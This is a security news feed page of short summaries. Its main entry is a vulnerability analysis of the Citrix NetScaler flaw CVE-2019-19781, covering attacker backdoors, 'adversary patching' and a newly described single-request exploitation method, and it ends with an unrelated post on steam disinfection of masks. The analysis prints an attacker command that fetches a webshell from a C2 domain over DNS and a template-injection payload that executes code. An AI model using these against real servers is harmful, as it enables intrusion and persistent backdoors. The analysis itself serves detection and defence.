Security Posts

Ransomware Gangs Don’t Need PR Help

Krebs - Hace 17 horas 4 mins
We’ve seen an ugly trend recently of tech news stories and cybersecurity firms trumpeting claims of ransomware attacks on companies large and small, apparently based on little more than the say-so of the ransomware gangs themselves. Such coverage is potentially quite harmful and plays deftly into the hands of organized crime. Often the rationale behind couching these events as newsworthy is that the attacks involve publicly traded companies or recognizable brands, and that investors and the public have a right to know. But absent any additional information from the victim company or their partners who may be affected by the attack, these kinds of stories and blog posts look a great deal like ambulance chasing and sensationalism. Currently, more than a dozen ransomware crime gangs have erected their own blogs to publish sensitive data from victims. A few of these blogs routinely issue self-serving press releases, some of which gallingly refer to victims as “clients” and cast themselves in a beneficent light. Usually, the blog posts that appear on ransom sites are little more than a teaser — screenshots of claimed access to computers, or a handful of documents that expose proprietary or financial information. The goal behind the publication of these teasers is clear, and the ransomware gangs make no bones about it: To publicly pressure the victim company into paying up. Those that refuse to be extorted are told to expect that huge amounts of sensitive company data will be published online or sold on the dark web (or both). Emboldened by their successes, several ransomware gangs recently have started demanding two ransoms: One payment to secure a digital key that can unlock files, folders and directories encrypted by their malware, and a second to avoid having any stolen information published or shared with others. KrebsOnSecurity has sought to highlight ransomware incidents at companies whose core business involves providing technical services to others — particularly managed service providers that have done an exceptionally poor job communicating about the attack with their customers. Overall, I’ve tried to use each story to call attention to key failures that frequently give rise to ransomware infections, and to offer information about how other companies can avoid a similar fate. But simply parroting what professional extortionists have posted on their blog about victims of cybercrime smacks of providing aid and comfort to an enemy that needs and deserves neither. Maybe you disagree, dear readers? Feel free to sound off in the comments below.
Categorías: Security Posts

Hacker ransoms 23k MongoDB databases and threatens to contact GDPR authorities

Zero Day | ZDNet RSS Feed - Mié, 2020/07/01 - 23:14
The hacker has attempted to ransom nearly 47% of all MongoDB databases left exposed online.
Categorías: Security Posts

Cisco Warns of High-Severity Bug in Small Business Switch Lineup

Threatpost - Mié, 2020/07/01 - 23:02
A high-severity flaw allows remote, unauthenticated attackers to potentially gain administrative privileges for Cisco small business switches.
Categorías: Security Posts

New Mac Ransomware Is Even More Sinister Than It Appears

Wired: Security - Mié, 2020/07/01 - 22:45
The malware known as ThiefQuest or EvilQuest also has spyware capabilities that allow it to grab passwords and credit card numbers.
Categorías: Security Posts

Alina Point-of-Sale Malware Spotted in Ongoing Campaign

Threatpost - Mié, 2020/07/01 - 22:42
The malware is using DNS tunneling to exfiltrate payment-card data.
Categorías: Security Posts

Vulnerability Spotlight: Remote code execution vulnerabilities in LEADTOOLS 20

Cisco Talos - Mié, 2020/07/01 - 22:07
Cory Duplantis of Cisco Talos discovered this vulnerability. Blog by Jon Munshaw. Cisco Talos recently discovered a remote code execution vulnerability in the LEADTOOLS line of imaging toolkits. LEADTOOLS is a collection of toolkits designed to perform a variety of functions aimed at integrating documents, multimedia and imaging technologies into applications. All of the software is produced by LEAD Technologies Inc. LEADTOOLS offers prebuilt and portable libraries with an SDK for most...

[[ This is only the beginning! Please visit the blog for the complete entry ]]
Categorías: Security Posts

Vulnerability Spotlight: Information disclosure vulnerability in Mozilla Firefox

Cisco Talos - Mié, 2020/07/01 - 21:51
Marcin "Icewall" Noga of Cisco Talos discovered this vulnerability. Blog by Jon Munshaw. Cisco Talos recently discovered an information disclosure vulnerability in Mozilla Firefox. An attacker can exploit this bug by tricking a user into visiting a specially crafted web page through the browser. If successful, the adversary could use leaked memory to bypass ASLR and, in combination with other vulnerabilities, obtain the ability to execute arbitrary code. In accordance with our coordinated...

[[ This is only the beginning! Please visit the blog for the complete entry ]]
Categorías: Security Posts

EvilQuest: Inside A ‘New Class’ of Mac Malware

Threatpost - Mié, 2020/07/01 - 21:23
Mac expert Thomas Reed discusses how EvilQuest is ushering in a new class of Mac malware.
Categorías: Security Posts

Microsoft issues critical fixes for booby-trapped images – update now!

Naked Security Sophos - Mié, 2020/07/01 - 20:26
Booby-trapped images could be used to attack Windows 10 and Windows Server 2019 - update now!
Categorías: Security Posts

New report: COVID-19 Threat Intelligence Insight from the Telco Security Alliance

AlienVault Blogs - Mié, 2020/07/01 - 17:00
AT&T Cybersecurity along with three members of the Telco Security Alliance (TSA) published a new report today, “COVID-19 Insight from the Telco Security Alliance.” The report provides insight into some of the threat groups (as well as analysis of their campaigns) that are taking advantage of the global pandemic while nations and organizations are vulnerable. TSA members have observed a sharp increase in malicious activity related to COVID, with adversaries increasingly seeking to opportunistically benefit financially, gain unauthorized access to networks for immediate and long-term strategic benefit, and spread misinformation with political agendas. The Telco Alliance was formed by AT&T® (AT&T Cybersecurity™), Etisalat® (HelpAG™), Singtel® (Trustwave®), SoftBank®, and Telefónica® (ElevenPaths™). The group aims to offer enterprises comprehensive cybersecurity insights to help address the threat of cyberattacks and the evolving threat landscape. The “COVID-19 Insight from the Telco Security Alliance,” report was co-produced by the cybersecurity and threat intelligence units of AT&T (AT&T Cybersecurity and AT&T Alien Labs), Singtel (Trustwave), and Telefónica (ElevenPaths). The group investigated multiple threat actors (from crimeware to nation states) known to be actively engaged in attacks during the pandemic against private organizations and government agencies. Read the full report here.  
Categorías: Security Posts

A Second Look at CVE-2019-19781 (Citrix NetScaler / ADC)

Fox-IT - Mié, 2020/07/01 - 05:50
Authors: Rich Warren of NCC Group FSAS & Yun Zheng Hu of Fox-IT, in close collaboration with Fox-IT’s RIFT. About the Research and Intelligence Fusion Team (RIFT): RIFT leverages our strategic analysis, data science, and threat hunting capabilities to create actionable threat intelligence, ranging from IOCs and detection capabilities to strategic reports on tomorrow’s threat landscape. Cyber security is an arms race where both attackers and defenders continually update and improve their tools and ways of working. To ensure that our managed services remain effective against the latest threats, NCC Group operates a Global Fusion Center with Fox-IT at its core. This multidisciplinary team converts our leading cyber threat intelligence into powerful detection strategies.   In this blog post we will revisit CVE-2019-19781, a Remote Code Execution vulnerability affecting Citrix NetScaler / ADC. We will explore how this issue has been widely abused by various actors and how a hacker turf war led to some actors “adversary patching” the vulnerability in order to prevent secondary compromise by competing adversaries – hiding the true number of vulnerable and compromised devices in the wild. Following this, we will take a deep-dive into the vulnerability itself and present a previously unpublished technique which can be used to exploit CVE-2019-19781, without any vulnerable Perl file – bypassing the “adversary patching” techniques used by some attackers. We will also provide statistics on exploitation, patching and backdoors we have identified in the wild. Public Exploitation & Backdoors Back in January 2020, shortly before the first public exploits for CVE-2019-19781 were released, Fox-IT built and deployed a number of honeypots in order to keep an eye on exploitation attempts by malicious actors. Additionally, we developed our own in-house exploit in order to study and understand the vulnerability, as well as to use it on our Red Team engagements. On 10th January 2020, the first public exploits were released on GitHub. Shortly after this we started to see a significant uptick in both scanning and exploitation of the vulnerability. Most of the initial exploits weaponised by attackers came in the form of coin-miners, however a number of other “interesting” attacks were also observed within the first few days of exploitation. Typically, these involved a webshell being deployed to the compromised device. This allowed us to collect a list of backdoors deployed by attackers, and subsequently develop signatures which could be used to identify backdoors as well as specific indicators of compromise. Following this, Fox-IT’s RIFT Team were able to gather statistics around patch adoption and backdoors deployed in the wild. As an example, the following webshell was observed being dropped as part of a group of backdoors which we refer to as the “Iran Network Team” backdoors, first described in our Reddit live blog on January 13th 2020. It is important to note that although this particular actor used a C2 domain of we have not made any attribution to Iran or any other state actor. At the time however, this particular attacker stood out as distinct from many other attackers, who appeared to be focused on deploying coin-miners. Instead, this attacker appeared to be concerned with gaining remote persistent access to as many systems as possible, deploying a number of PHP webshells using the Project Zero India public exploit. These webshells would be deployed by issuing a “dig” command such as the following: exec('dig txt|tee /var/vpn/themes/login.php | tee /netscaler/portal/templates/REDACTED.xml'); This would fetch the webshell content via a TXT record hosted on the C2 domain. The content of which would be written to the following PHP file:
  • /var/vpn/themes/login.php
Variants were also observed, using the “logout.php” file instead, as well as staging payloads via Base64 encoded files named “readme.txt” and “read.txt”. This PHP file was in fact a simple webshell, which did not require any authentication in order to interact with it, other than knowing the POST parameter name. According to our statistics, this attacker was largely successful in deploying their backdoor to a significant number of systems, many of which, although patched, are left vulnerable due to the password-less backdoor left open on their devices. This backdoor could be used not only by the original attacker, but also by any script-kiddie or state actor with knowledge of the webshell path and POST parameter name. As well as backdoors, we were also able to identify specific exploitation artifacts. For example, when studying the “Iran Network Team” attacks, we noticed that the attacker would commonly stage secondary payloads within the public directory of the server, meaning that their presence could be easily detected. Once the signatures for each backdoor variant were developed, analysis of the available data was carried out. This initially included 5 different known backdoors and artifacts and was done using data from late January 2020. This provided some interesting results, some of which are detailed below. In January 2020 a total of 1030 compromised servers were identified. The majority of these compromised devices were situated in the US, with a total of 2057 backdoors and artifacts being identified. Many of these compromised devices included Governmental organizations and Fortune 500 companies. There appeared to be no specific sector that was targeted more than any other, however backdoors were observed on high-profile organisations from a number of industries including manufacturing, media, telecoms, healthcare, financial and technology.   Backdoors – Count by Country However, of perhaps more concern was that, of these compromised devices, 54% had been patched against CVE-2019-19781, thus providing their administrators with a false sense of security. This is because although the devices were indeed patched, any backdoor installed by an attacker prior to this would not have been removed by simply installing the vendor’s patch. Note that the Unknown hosts recorded below indicate hosts that did not respond with an expected HTTP request (e.g. a 403 or a 200) Backdoored Servers – Patch Status From Malware to Palware Following the initial discovery of public exploitation of this vulnerability, the team at FireEye released their analysis of a new backdoor, named “NOTROBIN’, written in Golang.  What was different about this backdoor however, was that instead of deploying a coin-miner or a simple webshell, NOTROBIN would actually attempt to identify and remove any backdoors that had been installed prior to it, as well as attempt to block further exploitation by deleting new XML files or scripts that did not contain a per-infection secret key. This marked a shift, at least for one actor, to a new type of infection, which DCSO eloquently described as “palware” – a seemingly innocent piece of malware with the primary goal of preventing other actors from deploying their own malware. But was the actor behind NOTROBIN the only one to deploy this “palware” method? Possibly not. A number of anecdotal cases, as well as our own first-hand experience suggest that other attackers have also carried out “adversary patching” by deleting the vulnerable Perl scripts (such as from compromised devices, thus preventing other attackers from exploiting the same issue, whilst maintaining access for themselves. Whether or not this is in fact a separate actor, or actually a quirk of NOTROBIN’s backdoor removal function however, is not so clear. As mentioned earlier, one of the features of NOTROBIN’s backdoor removal function (aptly named remove_bds), is to remove any file within the /netscaler/portal/scripts/directory which has been recently modified and does not contain NOTROBIN’s secret key within either the filename or the contents. Of course this would include any backdoor that had been dropped by a previous attacker, however if one of the built-in scripts such as had been modified, perhaps as the result of a backdoor being added, this would also result in the removal of that file by NOTROBIN. This means that not only that the backdoor would be removed, but that the entire script, and all its legitimate functionality would be wiped out with it. We have also responded on incident response cases where the “vulnerable” Perl files such as have been renamed to contain the NOTROBIN key, e.g.: /netscaler/portal/scripts/<key> Effectively making the vulnerability only exploitable by an actor with prior knowledge of the infection key. As a result, there are hosts, which on the surface appear to be patched, however have in fact been compromised by a previous attacker, and the “vulnerable” Perl files removed or renamed. During the remainder of this blog post, we will discuss the inner workings of the Citrix vulnerability and exploit. We will then demonstrate a new exploitation technique which would allow an attacker to bypass both NOTROBIN’s patching method, as well as enable exploitation of a device that has had the vulnerable Perl scripts removed. Vulnerability Deep Dive Before we get into the details of bypassing the “adversary patch”, we will spend some time refreshing ourselves with what the vulnerability was, and how it is exploited. TL;DR Version Essentially, exploitation of this issue can be broken down into two steps which we will discuss in detail later. A short summary is given below:
  • Step 1: An HTTP request is made to a “vulnerable” Perl file. The attacker may or may not need to use directory traversal within the URL in order to access the Perl file, depending on whether the request is being made to a management or virtual IP interface. An HTTP header is supplied containing a directory traversal string to an XML file, which is to be written to disk. Note: A “vulnerable” Perl file is considered to be any Perl file which calls the `UserPrefs::csd` function followed by the `UserPrefs::filewrite` This is important, and typical of all public exploits.
  • Step 2: A follow-up HTTP request is then made, causing the crafted XML file to be rendered by the template engine, resulting in arbitrary code-execution.
Of course, we’ve skipped some steps here to simplify things, but the important thing to remember is the following limitations of this exploitation method:
  1. A “vulnerable” Perl file must exist on the system (which is certainly the case by default, however another attacker or a well-meaning administrator may have removed it)
  2. Two HTTP requests are required in order to achieve code execution.
Detailed Exploitation Steps In order to fully understand the steps detailed above, let’s look at how the vulnerability works in detail, and explain why these steps are necessary. This should help us later to understand how to bypass the limitations. If you are already familiar with the inner workings of the exploit you can skip over this next section. For a good background on exploitation of this issue, please check out the MDSec blog post, which explains in great detail the vulnerability and exploitation steps. However for the sake of completeness (and to highlight a few specific things) we will explain it here too. The CVE-2019-19781 “vulnerability” is in fact the CVE used to record the mitigation steps for a number of vulnerabilities which could be exploited together to achieve unauthenticated remote code execution. Citrix later released a patch to remediate the majority of these vulnerabilities used as part of the exploit chain. Directory Traversal The first of the vulnerabilities was a path canonicalisation issue which allowed requests to the Virtual IP (VIP) interface to bypass certain access control measures, if the request contained a directory traversal string. This essentially allowed an unauthenticated user to invoke Perl scripts which were not intended to be exposed via the public interface. This included Perl scripts within the /vpns/portal/scripts/directory, thus exposing any underlying vulnerabilities which might exist within the Perl scripts contained in this directory. So, now the attacker is able to access certain Perl scripts within the “scripts” directory. However, another vulnerability is needed to turn that unintended access into arbitrary file write, and eventual code execution. Controlled File Write The next issue, a partially controlled file-write, existed within the module. Specifically, within the csd function, which takes the value of the NSC_USER header supplied within the request and sets it as the $username variable. This username value is then later used to build the $self-&gt;{filename} instance variable without any form of sanitisation on the supplied value. As shown in the following screenshots, the username value is taken directly from the HTTP header, before being concatenated with some predefined values to form the filename variable. csd Function   User-controlled Filename However, this alone does not lead to an exploitable condition. All it does is set a variable. We need to cause this value to be used for something useful. Given the name of the filename variable, we can make a pretty good guess at what it’s used for, and lo-and-behold there is indeed a function named file<strong>write, also contained within the module. filewrite Function This function takes the username value, and again uses it to build a path to write out an XML file to the filesystem (note that it reconstructs the path from username again). The contents of this file are controlled via the $doc variable, which depending on when it is called, contains various user-controlled data. So filewrite can be tricked into writing an XML file to an arbitrary location via a directory traversal in the HTTP header, but how do we trigger a call to filewrite, and how do we control the contents? Well, as UserPrefs is a Perl module we cannot simply execute it directly via the URL traversal. Instead we need to find and invoke a Perl script, which makes use of the vulnerable functionality. For that we need to find a Perl file which:
  1. Is invokable as an unauthenticated user (i.e. contained in the `/vpns/portal/scripts` directory)
  2. Calls both `csd` and `filewrite` from the `` module
As discussed in many blog posts and tweets, as well as used in a number of public exploits, the script fits this requirement. First it instantiates a UserPrefs object (called $user), before calling the csd function on the $user object (remember, this allows us to control the filename via the NSC_USER header). It subsequently accepts some data provided by the user in the request, including a url, title and desc parameter. These parameters are set as instance variables of the $doc object and passed to the filewrite function, where the data is serialised to an XML file on disk. This means that we can now control the path of where the XML file is written, as well as some limited content, via the name, url or desc parameters. Call to csd function: Call to csd Function User supplied data added to $newBM variable: User-controlled Values User controlled properties assigned to $doc before calling filewrite: Values Passed to filewrite Function Now we have a semi-controlled file-write where we can write an XML file anywhere on disk and control some of the content, however we need a way to leverage this to achieve code execution. This is where the Template Toolkit component comes into play. Perl Code Execution When a request is received by the Citrix server, the request is handled according to the Apache httpd.conf configuration, which contains a large number of complex redirect rules which ship off the request to a particular component depending on the request properties, such as the request path. Requests to the /vpns/portal/ path are handled by the Perl module via the PerlResponseHandler mod_perl directive in the httpd.conf file. httpd.conf Among other things (which we will explain later, or maybe some eagle-eyed readers may spot it in the screenshot), the Handler module simply takes the path specified within the request, forms a path to the requested file, and renders it via the Template Toolkit template engine. Handler Function This means that if we write our XML file to the templates directory, and inject template directives via the url, title or desc parameters, we can later cause the XML file to be rendered as a template using a follow-up HTTP request. Perfect! However, there is one last hurdle. Although the Template Toolkit can allow code execution via template directives such as PERL and RAWPERL, these are disabled in the configuration used on the Citrix server. However, it was discovered that this same functionality could be achieved by abusing the global template object, which is exposed to all templates, to create a new BLOCK containing arbitrary Perl code, via a call to the method. This allows the attacker to execute their code using a template directive such as the following: [%{ 'BLOCK' => 'print STDERR "ace.\n"; die' }) %] Further details regarding this “feature” can be found in the GitHub issue. Note that @0x09AL also identified another method to execute code via the DATAFILE plugin. This is also explained in the MDSec blog post.     Exploit Summary So putting it all together, we need to:
  1. Make a request to the pl file with a directory traversal within the `NSC_USER` header, causing an XML file to be written to the templates directory.
  2. Inject a template directive into the dropped XML file, containing Perl code to be executed
  3. Make another request to the `/vpns/portal/<file>.xml` file in order to cause to render it via the template engine.
The above steps are the same as those carried out in the “Project Zero India” public exploit as well as the one subsequently released by TrustedSec shortly afterwards. It was also the same technique we and others had used in their own exploits. This resulted in some people (us included) believing that the following constraints could be relied upon for detection:
  1. The attacker must make two requests. First a POST request to write the XML file. Second, a GET request to render the XML file.
  2. The first request would be to the `` file
  3. The first request would contain an `NSC_USER` header containing a traversal string
Flawed Assumptions Two days after the public exploits were released, @mpgn_x64 discovered that in fact any Perl file which called the csd function could be exploited, regardless of whether user-provided data was added to the written XML file. @mpgn_x64 Tweet Example using (Step 1) Example using (Step 2)   This is possible because when the csd function is called, it eventually calls filewrite if the file does not already exist. This can be seen within the file. When csd is called, it internally calls fileread on line 61: Call to fileread Function The fileread function checks if the specified file (constructed via $username value, taken from the NSC_USER header), exists or not. User-controlled Values in fileread If the file does not exist, then the initdoc function is called, which creates the XML file passing the $username value: initdoc Function Additionally, aside from the user controlled values (such as url, title, and desc used in, the filewrite function would also write the username within the XML file, which as we showed before, is controlled via the NSC_USER header. So, if we request a “vulnerable” .pl file with an NSC_USER value that contains the target XML file to be written, but also a template injection string we can exploit the issue without controlling any other values in the XML file! After this we simply need to request the XML file, causing it to be rendered via the template engine, ensuring that we encode any non-URL safe characters within the template/path appropriately. This dispelled the first myth – exploitation could in fact take place against any .pl file calling the csd function. This included the following files:
Exploitation of this Method in the Wild Shortly after this information was published, we started to see the first usage of this new exploitation technique deployed in the wild. This log extract shows some hits that were received in our Citrix honeypots, mostly from TOR exit nodes, starting from January 24th. Interestingly, these requests would write out a Perl backdoor line by line to a file named /netscaler/portal/scripts/ This backdoor simply checked if the MD5 hash of the supplied password parameter matched a hardcoded value, and if so, would execute the command provided within the HTTP request. The decoded webshell code is shown below. This appears to be a modified version of the PerlKit webshell. this gist on GitHub The details of this webshell were shared with our contacts at FireEye, who added detection to their IOC scanner script. Later the same month, further attacks were observed in the wild, distributing the same backdoor, in what appeared to be large distribution, non-targeted attacks. Just like with the Iran Network Team attacks, we are unable to provide any specific attribution due to limited visibility of post-exploitation activity. Some more Quirks To compound matters further, @superevr discovered that due to the way that the Citrix HTTP server handles requests, the exploit does not require a POST request followed by a GET request, and could be exploited with varying request methods. In fact the request method itself did not matter at all, and could be exploited even with a non-existent request method. The HTTP version number itself could also be meddled with, further frustrating efforts to detect exploitation attempts. Thanks to efforts by both the community and FireEye, detection methods were improved to take account for these “quirks”. Refining the Exploit Further Now we know that exploitation of this issue was not simply confined to one specific “vulnerable” .pl file, and that attackers are constantly evolving their attack techniques in order to overcome our assumptions of constraints of specific vulnerability exploitation, i.e. “how a well-behaving HTTP server should work. What other assumptions can we challenge? Well, in the next section we will show how we discovered that the issue can in fact be exploited:
  • With only a single HTTP Request
  • Without any “vulnerable” Perl file existing on the server
  • With only non-Perl files (.e.g. ping.html)
  • Without any existing file at all
In fact, this method can be used to exploit a vulnerable server even if an attacker has deleted all of the Perl files contained within the “scripts” directory – thus bypassing any “palware” patch that involves removing the vulnerable Perl scripts from the server. And best of all, the “exploit” fits in fewer than 280 characters. To explain how this works, we need to take a step back and remember how the (and similar) exploits worked. You will recall that they all rely on the csd and filewrite functions being called, hence the need for a “vulnerable” .pl file. However, the csd function is also called outside of these Perl files. If we take a look again at the module we can see that the csd function is actually called automatically whenever the Handler is invoked, which includes any time a file is served via the /portal/templates/* path. This means that whenever a request is made for a file within the templates directory (via a request to /vpns/portal/&lt;file&gt; which maps via the httpd.conf to the templates directory), the vulnerable code-path will be hit automatically, even if the requested file is an HTML or XML file, for example. The following screenshot highlights where the csd function is called within As demonstrated by @mpgn_x64, all that is required for the exploit to succeed is a single call to the csd function (which itself calls filewrite), where we place both a template injection and directory traversal within the NSC_USER header. Therefore, putting this together, we can hit the vulnerable code without using any of the built-in Perl scripts. Requesting an existing file such as /vpns/portal/ping.html with a crafted NSC_USER header is enough to cause the XML file to be written to disk. An example request is shown below: Dropping XML Payload with ping.html Once the XML file has been written, we can then follow up with a request for the XML file, resulting in our code being executed: Triggering Code Execution So now we can exploit the issue without any vulnerable Perl file existing on the target server! But can we do better? Can the issue be exploited with only a single HTTP request to a non-existent file? Let’s take another look at the module. On line 19, the csd function is called. As discussed, this causes our target XML file to be written to the templates directory: Call to csd Function Afterwards, on line 32 the requested file is rendered as a template: Template Rendering This means that our XML file is written just before the requested file is rendered. What if we craft a HTTP request that both writes and requests our XML file? The following screenshot shows how this works. First we send our crafted NSC_USER header, whilst also requesting the same file within the GET request path. This results in the XML file being first written, and then rendered straight afterwards, leading to code execution in a single HTTP request, without any vulnerable Perl file! Successful Exploitation with Single Request Note that aside from bypassing adversary patches that delete the “vulnerable” Perl files such as from the server, this method will also bypass the NOTROBIN method of checking for (and deleting) XML files within the template directory. This is due to a race-condition in that our XML file is written and rendered within the same request, and thus executed before it can be deleted. Some Final Questions Now we’ve shown a new method to exploit the vulnerability, and how to bypass adversary patches. However, we still have some other questions to answer. Does the Citrix/FireEye IOC scanner detect this method? Yes, it does. This is because their success_regexes[0] regex takes care of detecting any request (regardless of HTTP request method or version) that requests a file ending with .xml, which is a constraint of the vulnerability, and something which we cannot, as an attacker, control. The script additionally looks for responses with a 304 status code, which addresses a simple bypass technique of specifying an If-None-Match: * header to solicit a 304 instead of 200 status code. Successful Detection via Regex Furthermore, unless the attacker deletes the dropped .xml and compiled .ttc2 files, these will also be present on the filesystem and detectable via the IOC checker script. The following screenshot shows the Citrix/FireEye IOC scanner detecting exploitation via this technique: IOC Scanner Detection Readers may have read in FireEye’s “404 Exploit Not Found” blog post that the attacker behind the NOTROBIN attacks also used a single HTTP request method to exploit the issue. Our understanding is that this is not the same technique. The reason for this is that FireEye describes the attacker requesting Perl script via a POST request, resulting in a 304 response (presumably using the If-None-Match/If-Modified-Since trick). Discounting the fact that the request method can be arbitrary, our method does not make use of the file. FireEye “404 Exploit Not Found” BlogHow can the single request exploit be detected? As demonstrated above, the Citrix/FireEye IOC scanner still detects the single request variant from an endpoint perspective. Looking at the constraints of this new exploitation method, plus everything we have learned about obfuscation of request methods etc., we know that the request must:
  1. Contain `/vpns/portal/` within the path of the request
  2. Contain an `NSC_USER` header with a traversal `../` sequence
  3. End with `.xml`
However may:
  1. Be any request method type (e.g. `GET`, `HEAD`, `PUT`, `FOO`, `BAR`)
  2. Be split into multiple requests, e.g. one request to trigger the XML file drop, another to the XML (similar to the original exploit)
  3. Result in a 200 response, but could also result in a 304
  4. Contain a traversal `../` sequence in the request path – this depends on whether the request is made to the management or virtual IP interface
Finally, another question you may be wondering – perhaps you are worried that you applied the Citrix mitigation too late, and that an attacker may have “adversary patched” your Citrix server for you. Of course, in this scenario, the best course of action is to complete an examination of the server to identify any potential backdoors or attacker-deployed patches. For this, we thoroughly recommend the official IOC script provided by Citrix/FireEye. However, given that logs typically only persist for a couple of days, and that sophisticated actors may remove logs, it can be difficult to ascertain the level of intrusion by only looking at the Citrix device itself. If your device was patched after public exploits were released, it is highly likely that the device was compromised.     Latest Statistics Here are the latest statistics based on the latest available data (as of June 2020):     Patched (but backdoored) vs. Unpatched (but backdoored)
  • 8115 servers were identified that are still vulnerable to CVE-2019-19781
  • Of the 8115 vulnerable servers, 2508 (30.9%) have indicators of adversary patching
    • These 2508 servers remain vulnerable due to the new discovery of the exploit method described in this blog
  • A total of 3,332 unique servers were identified to contain known indicators of compromise
  • 23% of the compromised servers had been officially patched, but were still backdoored
  • Many hosts contained multiple indicators and backdoors from distinct actors, in some cases up to 5 different indicators were observed
  • 49% of compromised devices were located in the US
    Breakdown by Country It has been just over six months since CVE-2019-119781 was first announced, and a mitigation made available. Yet the number of vulnerable and compromised found in the data based on in-the-wild hosts, is shockingly high. Furthermore, whilst we have been able to identify a subset of compromised devices, the true number is likely much higher. This is due to a number of reasons. Firstly, we were only able to observe a limited number of known IoCs, not all of which can be observed based on the datasets we have access to. Secondly the majority of the backdoors and webshells we’ve seen deployed still operate perfectly fine even after the server has been patched. These backdoors typically require no authentication or use a hardcoded password – meaning that anyone could use them as a method to gain remote access. We just don’t have a way of identifying the true number of patched-but-backdoored devices out there. Therefore, we believe that our statistics represent just the tip of the iceberg. It can no longer be assumed that just because a device was patched, that it does not remain compromised. Nor can it be assumed that if a device was compromised and “patched” by one attacker, that it cannot be compromised by another attacker using the technique described in this publication. Not all attackers share the same motives. Whilst the MO of attackers deploying adversary patching might simply be to “hoard” access until later, other attackers may have more insidious, immediate motives, such as financial gain through ransomware. The most likely reason we haven’t seen many more backdoors deployed in the wild is due to adversary patching. However, as we have demonstrated – this provides both a false sense of security and obscures the true number of compromised devices that may be out there. We hope that this publication helps to highlight the issue and provide additional visibility into techniques being used in the wild, as well as dispelling a few misconceptions about the vulnerability itself and demonstrates more robust ways to detect exploit variants. We urge organizations to ensure that their devices are not only patched, but that care is taken to ensure that latent compromises have been identified and remediated.
Categorías: Security Posts

Disinfection of PPE such as N95 respirator masks

Niels Provos - Dom, 2020/03/29 - 18:29
An article from Consolidated Sterilizer Systems starts with: "With the global Covid-19 pandemic everywhere in the news, many healthcare professionals and concerned citizens are grappling with the shortage of respirator masks, vital tools for ensuring that healthcare workers are not infected by the people they’re trying to help."

The article suggests that microwave steam based disinfection has been effective at disinfecting, specifically removing H1N1, from non-metal N95 respirator masks. Here is a 3D grid that can be placed into a glass tupperware container filled with some water and then put into a microwave. Don't put anything with metal into the microwave. Alternatively, you can use this grid in the oven as well; see the description in the article.

This grid is 4.4" square and 1.25" tall. It's easy for me to produce any other dimensions.

The log reduction for microwave steam is around ~5, i.e. 100,000 times less viable virus. The article does not give a protocol. I put the filter in the microwave for 3 minutes which was sufficient to boil the water for 2 minutes. For oven steam, the protocol requires 3 hours under warm water steam and let to a slightly smaller log reduction of ~4.8, i.e. 63,000 times less viable virus. This requires an oven that has good temperature control.

Disclaimer: It is unclear if this is effective for disinfection. Even with high-temperature filament, it is unclear if a 3d printed grid is appropriate for this application.
Categorías: Security Posts

Jue, 1970/01/01 - 02:00
Distribuir contenido